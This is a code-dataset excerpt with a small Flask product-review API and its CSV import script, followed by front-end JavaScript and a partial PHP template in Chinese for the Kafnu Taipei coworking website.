repo
stringlengths
5
121
content
stringlengths
35
2.09M
zashib/flask_GNS
zashib/flask_GNS csv_to_db.py ```import csv import os import sys from app import db, Product, Review def csv_to_db(file_path): """Write csv to db""" with open(file_path, mode='r', newline="", encoding="utf-8") as f: reader = csv.DictReader(f) for row in reader: if os.path.basename(file_path) == "products.csv": product = Product( title=row['Title'], asin=row['Asin'] ) db.session.add(product) db.session.commit() elif os.path.basename(file_path) == "reviews.csv": review = Review( title=row['Title'], review=row['Review'], product_asin=row['Asin'] ) db.session.add(review) db.session.commit() if __name__ == '__main__': for arg in sys.argv[1:]: csv_to_db(arg) ``` app.py ```from flask import Flask, jsonify, abort, make_response, request from flask_sqlalchemy import SQLAlchemy from flask_caching import Cache app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://admin:123@127.0.0.1:5432/gns' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config['POSTS_PER_PAGE'] = 5 cache = Cache(config={'CACHE_TYPE': 'simple'}) cache.init_app(app) db = SQLAlchemy(app) class Product(db.Model): id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(), unique=True, nullable=False) asin = db.Column(db.String(), unique=True, nullable=False) reviews = db.relationship('Review', backref='product', lazy=True) class Review(db.Model): id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(), unique=True, nullable=False) review = db.Column(db.String(), unique=True, nullable=False) product_asin = db.Column(db.String(), db.ForeignKey('product.asin'), nullable=False) def get_pagination(items): pagination = [] for item in items: pagination.append({"Title": item.title, "Review": item.review}) return pagination @app.errorhandler(400) def not_found(error): return make_response(jsonify({'error': 'Bad request'}), 400) @app.route('/product/<int:product_id>/<int:page>', methods=['GET']) @cache.cached(timeout=50) def product_info(product_id, page): product = Product.query.filter_by(id=product_id).first() review = Review.query.filter_by(product_asin=product.asin).paginate( page, app.config['POSTS_PER_PAGE'], False) return jsonify({ "Asin": product.asin, "Title": product.title, "Reviews": get_pagination(review.items), }) @app.route('/product/<int:product_id>', methods=['PUT']) def review_update(product_id): product = Product.query.get(product_id) review = Review( title=request.form['title'], review=request.form['review'], product_asin=product.asin ) db.session.add(review) db.session.commit() if product: return jsonify({ "Title": review.title, "Asin": review.product_asin, "Review": review.review }) abort(400) if __name__ == '__main__': db.create_all() app.run(debug=True) ```
zawzawzaw/kafnu
zawzawzaw/kafnu Default.js ```goog.provide('kafnu.page.Default'); goog.require('goog.events.Event'); goog.require('goog.events.EventTarget'); goog.require('manic.page.Page'); goog.require('manic.ui.BoxItem'); goog.require('manic.ui.Dropdown'); goog.require('kafnu.component.HeaderDesktop'); goog.require('kafnu.component.HeaderMobile'); /** * The Default Page constructor * @inheritDoc * @constructor * @extends {manic.page.Page} */ kafnu.page.Default = function(options, element) { manic.page.Page.call(this, options); this.options = $.extend(this.options, kafnu.page.Default.DEFAULT, options); /* if ($('body').hasClass('chinese-version')) { manic.SITE_LANGUAGE = 'cn'; } if ($('body').hasClass('bahasa-version')) { manic.SITE_LANGUAGE = 'in'; } */ // __ ___ ____ // \ \ / / \ | _ \ // \ \ / / _ \ | |_) | // \ V / ___ \| _ < // \_/_/ \_\_| \_\ // /** * @type {Array.<manic.ui.Dropdown>} */ this.dropdown_array = []; /** * @type {Array.<manic.ui.Dropdown>} */ this.dropdown_dictionary = []; /** * @type {kafnu.component.HeaderDesktop} */ this.header_desktop = null; /** * @type {kafnu.component.HeaderMobile} */ this.header_mobile = null; this.page_wrapper = $('#page-wrapper'); this.page_wrapper_content = $('#page-wrapper-content'); // min height variables this.is_page_min_height = false; if( this.body.hasClass('min-height-version') == true ){ this.is_page_min_height = true; } this.is_page_min_height_mobile = false; if( this.body.hasClass('min-height-mobile-version') == true ){ this.is_page_min_height_mobile = true; } $(window).on('scroll', function (event) { var scroll = $(window).scrollTop(); // Do something if(scroll > 0) { $("#header-desktop").addClass("bg") $("#header-mobile").addClass("bg") } else { $("#header-desktop").removeClass("bg") $("#header-mobile").removeClass("bg") } }); $(document).on('touchmove',function(e){ touchEvent = e.originalEvent.touches[0]; //this is your usual jQuery event, with its properties such as pageX and pageY properties // console.log(touchEvent) }); // console.log('kafnu.page.Default: init'); }; goog.inherits(kafnu.page.Default, manic.page.Page); /** * like jQuery options * @const {object} */ kafnu.page.Default.DEFAULT = { }; // ___ _ _ ___ _____ // |_ _| \ | |_ _|_ _| // | || \| || | | | // | || |\ || | | | // |___|_| \_|___| |_| // kafnu.page.Default.prototype.init = function() { kafnu.page.Default.superClass_.init.call(this); this.create_header_desktop(); this.create_dropdown(); this.create_header_mobile(); this.expandable_text(); // // /* if ($('#desktop-header').length != 0) { this.desktop_header = new rippledot.component.DesktopHeader({}, $('#desktop-header')); } if ($('#desktop-sidebar').length != 0) { this.desktop_sidebar = new rippledot.component.DesktopSidebar({}, $('#desktop-sidebar')); } if ($('#desktop-aside').length != 0) { this.desktop_aside = new rippledot.component.DesktopAside({}, $('#desktop-aside')); } if ($('#mobile-header').length != 0 && $('#mobile-header-expand-container').length != 0){ this.mobile_header = new rippledot.component.MobileHeader({}, $('#mobile-header')); this.mobile_header.update_layout(); goog.events.listen(this.mobile_header, rippledot.component.MobileHeader.ON_CLOSE_MENU, function(event){ this.update_page_layout(); }.bind(this)); } this.create_box_item(); */ // console.log('kafnu.page.Default: init'); }; // ____ ____ _____ _ _____ _____ // / ___| _ \| ____| / \|_ _| ____| // | | | |_) | _| / _ \ | | | _| // | |___| _ <| |___ / ___ \| | | |___ // \____|_| \_\_____/_/ \_\_| |_____| // kafnu.page.Default.prototype.create_header_desktop = function(){ if ($('#header-desktop').length != 0) { this.header_desktop = new kafnu.component.HeaderDesktop({}, $('#header-desktop')); } }; kafnu.page.Default.prototype.create_header_mobile = function(){ if ($('#header-mobile').length != 0 && $('#header-mobile-expand').length != 0) { this.header_mobile = new kafnu.component.HeaderMobile({}, $('#header-mobile')); goog.events.listen(this.header_mobile, kafnu.component.HeaderMobile.ON_CLOSE_MENU, function(event){ this.update_page_layout(); }.bind(this)); } }; kafnu.page.Default.prototype.create_image_container = function() { // console.log('create_image_container'); // var arr = $('.manic-image-container').not('.not-default-version').not('.instantiated-version'); var arr = $('.manic-image-container').not('.manic-image-container.not-default-version').not('.manic-image-container.instantiated-version'); var image_container = null; var item = null; for (var i = 0, l=arr.length; i < l; i++) { item = $(arr[i]); item.addClass('instantiated-version'); image_container = new manic.ui.ImageContainer({ 'has_window_resize': false // updated manually by 'update_page_layout' }, item); //this.manic_image_array[i] = image_container; this.manic_image_array[this.manic_image_array.length] = image_container; } }; kafnu.page.Default.prototype.create_dropdown = function() { var arr = $('.manic-dropdown').not('.manic-dropdown-instanciated'); var item = null; var item_id = ""; /** * @type {manic.ui.Dropdown} */ var dropdown = null; for (var i = 0, l = arr.length ; i < l; i++) { item = $(arr[i]); item.addClass('manic-dropdown-instanciated'); item_id = '' + item.find('select').attr('id'); dropdown = new manic.ui.Dropdown({}, item); this.dropdown_array[this.dropdown_array.length] = dropdown; this.dropdown_dictionary[item_id] = dropdown; } }; kafnu.page.Default.prototype.expandable_text = function() { var minimized_elements = $('.minimize-text'); minimized_elements.each(function(){ // var t = $(this).text(); // this is just TEXT !!!!! var t = $(this).html(); var maxLength = $(this).data('length'); if(manic.IS_TABLET_LANDSCAPE == true) { maxLength = $(this).data('tablet-length'); } if(manic.IS_TABLET_PORTRAIT == true) { maxLength = $(this).data('mobile-length'); } if(manic.IS_MOBILE == true) { maxLength = $(this).data('mobile-length'); } if(t.length < maxLength) return; if(maxLength < 0) return; // http://stackoverflow.com/questions/18087416/split-string-in-half-by-word // var middle = length; // var before = t.lastIndexOf(' ', middle); // var after = t.indexOf(' ', middle + 1); // if (middle - before < after - middle) { // middle = before; // } else { // middle = after; // } // var s1 = t.substr(0, middle); // var s2 = t.substr(middle + 1); //trim the string to the maximum length var trimmedString = t.substr(0, maxLength); //re-trim if we are in the middle of a word trimmedString = trimmedString.substr(0, Math.min(trimmedString.length, trimmedString.lastIndexOf(" "))) if (t.length > maxLength) $(this).html(trimmedString+'...'); else $(this).html(t); }); } // _ _ __ _____ _ _ _____ // | | / \\ \ / / _ \| | | |_ _| // | | / _ \\ V / | | | | | | | | // | |___ / ___ \| || |_| | |_| | | | // |_____/_/ \_\_| \___/ \___/ |_| // /** * @override * @inheritDoc */ kafnu.page.Default.prototype.update_page_layout = function(){ kafnu.page.Default.superClass_.update_page_layout.call(this); if (manic.IS_ACTUAL_MOBILE == true) { this.body.addClass('actual-mobile-version'); } else { this.body.removeClass('actual-mobile-version'); } if (this.is_page_min_height == true && manic.IS_MOBILE == false) { var target_height = this.page_wrapper.height() - this.desktop_footer_element.outerHeight(); this.page_wrapper_content.css({ 'min-height': target_height + 'px' }); } if (this.is_page_min_height_mobile == true && manic.IS_MOBILE == true) { var target_height = this.page_wrapper.height() - this.mobile_header_element.outerHeight(); // console.log(target_height); this.page_wrapper_content.css({ 'min-height': target_height + 'px' }); } /* if (manic.IS_MOBILE_HEADER == false) { } else { } */ /* // update mobile header min height // if (manic.IS_MOBILE && goog.isDefAndNotNull(this.mobile_header)) { if (manic.IS_ACTUAL_MOBILE && goog.isDefAndNotNull(this.mobile_header)) { this.mobile_header.update_layout(); } // update min height if (this.is_page_min_height == true && manic.IS_MOBILE == false) { var target_height = this.window_height - this.desktop_footer_element.outerHeight(); this.min_height_target.css({ 'min-height': target_height + 'px' }); } if (this.is_page_min_height_mobile == true && manic.IS_MOBILE == true) { // var target_height = this.window_height - this.mobile_header_element.outerHeight(); var target_height = this.window_height; this.min_height_target_mobile.css({ 'min-height': target_height + 'px' }); } */ }; // _ _ _ ____ _ _ _____ _ ____ ____ // | | | | / \ / ___|| | | |_ _|/ \ / ___/ ___| // | |_| | / _ \ \___ \| |_| | | | / _ \| | _\___ \ // | _ |/ ___ \ ___) | _ | | |/ ___ \ |_| |___) | // |_| |_/_/ \_\____/|_| |_| |_/_/ \_\____|____/ // /** * @override * @inheritDoc */ kafnu.page.Default.prototype.scroll_to_target = function(str_param, str_param_2, str_param_3) { kafnu.page.Default.superClass_.scroll_to_target.call(this, str_param, str_param_2, str_param_3); } /** * @override * @inheritDoc */ kafnu.page.Default.prototype.on_scroll_to_no_target = function() { kafnu.page.Default.superClass_.on_scroll_to_no_target.call(this); } goog.exportSymbol('kafnu.page.Default', kafnu.page.Default);``` kafnutp.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-country"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-desktop-spacer hidden-xs hidden-sm"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="country-version"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-lg-9 col-md-8 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/country-banner.jpg"> </div> </div> <div class="col-lg-3 col-md-4 no-padding"> <div id="banner-sidebar-container" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-01.jpg" data-image-tablet="images_cms/country_tp/event-slider-01.jpg" data-image-mobile="images_cms/country_tp/event-slider-01.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>邁向未來的願景擘畫</h5> <p>2017.10.12 - 06:30PM</p> <p>Kafnu開幕活動將舉辦雞尾酒會與創意論壇,歡慶Kafnu正式營運。</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-02.jpg" data-image-tablet="images_cms/country_tp/event-slider-02.jpg" data-image-mobile="images_cms/country_tp/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>HICAP論壇歡迎酒會</h5> <p>2017.10.19 - 07:00PM</p> <p>前來香港參加HICAP活動嗎? 歡迎參觀Kafnu全球第一個據點,並體驗我們精心準備的驚喜吧!</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-03.jpg" data-image-tablet="images_cms/country_tp/event-slider-03.jpg" data-image-mobile="images_cms/country_tp/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>“未知領域”晚宴</h5> <p>2017.10.20 - 06:00PM</p> <p>Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>近期活動</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-04.jpg" data-image-tablet="images_cms/country_tp/event-slider-04.jpg" data-image-mobile="images_cms/country_tp/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>商務發展在台灣</h5> <p>2017.10.30 - 2017.11.03</p> <p>規劃為期一周的研討會,包含個別顧問諮詢時間,教你如何在台灣設立公司,與硬體大場合作,招募與人資規範,以及進出口相關規定。</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </div> </div> <!-- row --> </div> </div> <!-- page-default-banner-image --> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/country_tp/country-banner.jpg" data-image-mobile="images_cms/country_tp/country-banner.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>Kafnu台北</h1> <h3>位在科技、媒體與設計交叉路口的垂直部落</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-default-booking-section"> <div class="container-fluid reduce-padding"> <div id="page-default-booking-item-desktop" class="hidden-sm hidden-xs"> <div class="row"> <div class="col-md-3 no-padding page-default-booking-item tp-verison"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-01.jpg" data-image-tablet="images_cms/country_tp/booking-space-01.jpg" data-image-mobile="images_cms/country_tp/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>辦公空間</h5> <p>選擇你最喜愛的座位,按照需求預訂。費用可以小時計,亦可以日租或月租形式預訂。</p> <!-- <span class="price">費用: HK$70/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/calendar" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-verison"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-02.jpg" data-image-tablet="images_cms/country_tp/booking-space-02.jpg" data-image-mobile="images_cms/country_tp/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>會議空間</h5> <p>提供4人、6人及8人以上的會議空間,可依照人數需求,選擇適合的空間進行會議。</p> <!-- <span class="price">費用: HK$600/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-verison"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-03-a.jpg" data-image-tablet="images_cms/country_tp/booking-space-03-a.jpg" data-image-mobile="images_cms/country_tp/booking-space-03-a.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>獨立辦公室</h5> <p>適合2~4人的小型團隊進駐,保有隱私的空間可讓你專注於工作。</p> <!-- <span class="price">費用: HK$750/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-verison"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-04-a.jpg" data-image-tablet="images_cms/country_tp/booking-space-04-a.jpg" data-image-mobile="images_cms/country_tp/booking-space-04-a.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>錄音室及攝影棚</h5> <p>提供專業錄音室及攝影棚設備,讓你輕鬆滿足製作影音的需求。</p> <!-- <span class="price">費用: HK$900/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version" style="display: none;">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> </div> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs"> <div class="row"> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="hot-desk"></div> <div class="manic-expand-container-title"> <h5>辦公空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-01.jpg" data-image-tablet="images_cms/country_tp/booking-space-01.jpg" data-image-mobile="images_cms/country_tp/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>辦公空間</h5> <p>選擇你最喜愛的座位,按照需求預訂。費用可以小時計,亦可以日租或月租形式預訂。</p> <!-- <span class="price">費用: HK$70/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/calendar" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="4-person"></div> <div class="manic-expand-container-title"> <h5>會議空間</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-02.jpg" data-image-tablet="images_cms/country_tp/booking-space-02.jpg" data-image-mobile="images_cms/country_tp/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>會議空間</h5> <p>提供4人、6人及8人以上的會議空間,可依照人數需求,選擇適合的空間進行會議。</p> <!-- <span class="price">費用: HK$600/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="6-person"></div> <div class="manic-expand-container-title"> <h5>獨立辦公室</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-03.jpg" data-image-tablet="images_cms/country_tp/booking-space-03.jpg" data-image-mobile="images_cms/country_tp/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>獨立辦公室</h5> <p>適合2~4人的小型團隊進駐,保有隱私的空間可讓你專注於工作。</p> <!-- <span class="price">費用: HK$750/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="8-person"></div> <div class="manic-expand-container-title"> <h5>錄音室及攝影棚</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-04.jpg" data-image-tablet="images_cms/country_tp/booking-space-04.jpg" data-image-mobile="images_cms/country_tp/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>錄音室及攝影棚</h5> <p>提供專業錄音室及攝影棚設備,讓你輕鬆滿足製作影音的需求。</p> <!-- <span class="price">費用: HK$900/小時 起</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version">按此預約</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>2017.10.3 開幕</span></a> --> </div> </div> </div> </div> </div> </div> </div> </article> <article id="page-country-main-content-section"> <div class="container-fluid reduce-padding"> <div id="page-country-main-content-item-container" class="hidden-xs hidden-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>生活</h5> <h6>在 Kafnu 台北,體驗工作與生活的完美結合。</h6> <ul> <li class="tp-live-01"> <p class="title">Morsel 北歐式輕食餐廳</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-02"> <p class="title">多元化課程健身中心</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> --> </li> <li class="tp-live-03"> <p class="title">生活合作夥伴會員優惠</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-04"> <p class="title">Nespresso 咖啡</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-05"> <p class="title">藝術品與裝置藝術展演</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-06"> <p class="title">共享生活空間</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-07"> <p class="title">簡易廚房設備</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 no-padding v-align-col left-col"> <div class="page-country-main-content-item-text"> <h5>工作</h5> <h6>啟發靈感的工作生態系</h6> <ul> <li class="tp-work-01"> <p class="title">生態設計空間</p> </li> <li class="tp-work-02"> <p class="title">高度可調式工作桌</p> </li> <li class="tp-work-03"> <p class="title">事務機服務</p> </li> <li class="tp-work-04"> <p class="title">設計風格會議室</p> </li> <li class="tp-work-05"> <p class="title">隔音電話亭</p> </li> <li class="tp-work-06"> <p class="title">自然採光環境</p> </li> <li class="tp-work-07"> <p class="title">專業錄音室</p> </li> <li class="tp-work-08"> <p class="title">多元化攝影綠幕房</p> </li> <li class="tp-work-09"> <p class="title">可租用停車場</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-8 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/work.jpg" data-image-tablet="images_cms/country_tp/work.jpg" data-image-mobile="images_cms/country_tp/work.jpg" alt=""> </div> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-8 no-padding v-align-col"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-01.jpg" data-image-tablet="images_cms/country_tp/play-01.jpg" data-image-mobile="images_cms/country_tp/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-02.jpg" data-image-tablet="images_cms/country_tp/play-02.jpg" data-image-mobile="images_cms/country_tp/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-4 no-padding v-align-col right-col"> <div class="page-country-main-content-item-text"> <h5>玩樂</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li class="tp-play-01"> <p class="title">舒適的休閒設施</p> </li> <li class="tp-play-02"> <p class="title">多元化課程健身中心</p> </li> <li class="tp-play-03"> <p class="title">會員專屬活動</p> </li> <li class="tp-play-04"> <p class="title">會員周間歡樂時光</p> </li> <li class="tp-play-05"> <p class="title">K2 酒吧</p> </li> <li class="tp-play-06"> <p class="title">頂樓露天活動場地</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>學習</h5> <h6>不斷電的學習旅程</h6> <ul> <li class="tp-learn-01"> <p class="title">活動及業師諮詢</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-02"> <p class="title">專家諮詢</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-03"> <p class="title">會員夥伴工具與優惠</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-04"> <p class="title">各類書刊與雜誌</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-05"> <p class="title">會員與社群經理交流分享</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-6 col-md-offset-1 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/learn.jpg" data-image-tablet="images_cms/country_tp/learn.jpg" data-image-mobile="images_cms/country_tp/learn.jpg" alt=""> </div> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/rest.jpg" data-image-tablet="images_cms/country_tp/rest.jpg" data-image-mobile="images_cms/country_tp/rest.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>休憩</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li class="tp-rest-01"> <p class="title">休憩區和放鬆空間</p> </li> <li class="tp-rest-02"> <p class="title">SPA 療程和生活合作夥伴會員優惠</p> </li> <li class="tp-rest-03"> <p class="title">城市景觀</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> <div id="page-country-main-content-item-container-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live-mobile.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>生活</h5> <h6>在 Kafnu 台北,體驗工作與生活的完美結合。</h6> <ul> <li> <i class="tp-live-01"></i> <p class="title">Morsel 北歐式輕食餐廳</p> </li> <li> <i class="tp-live-02"></i> 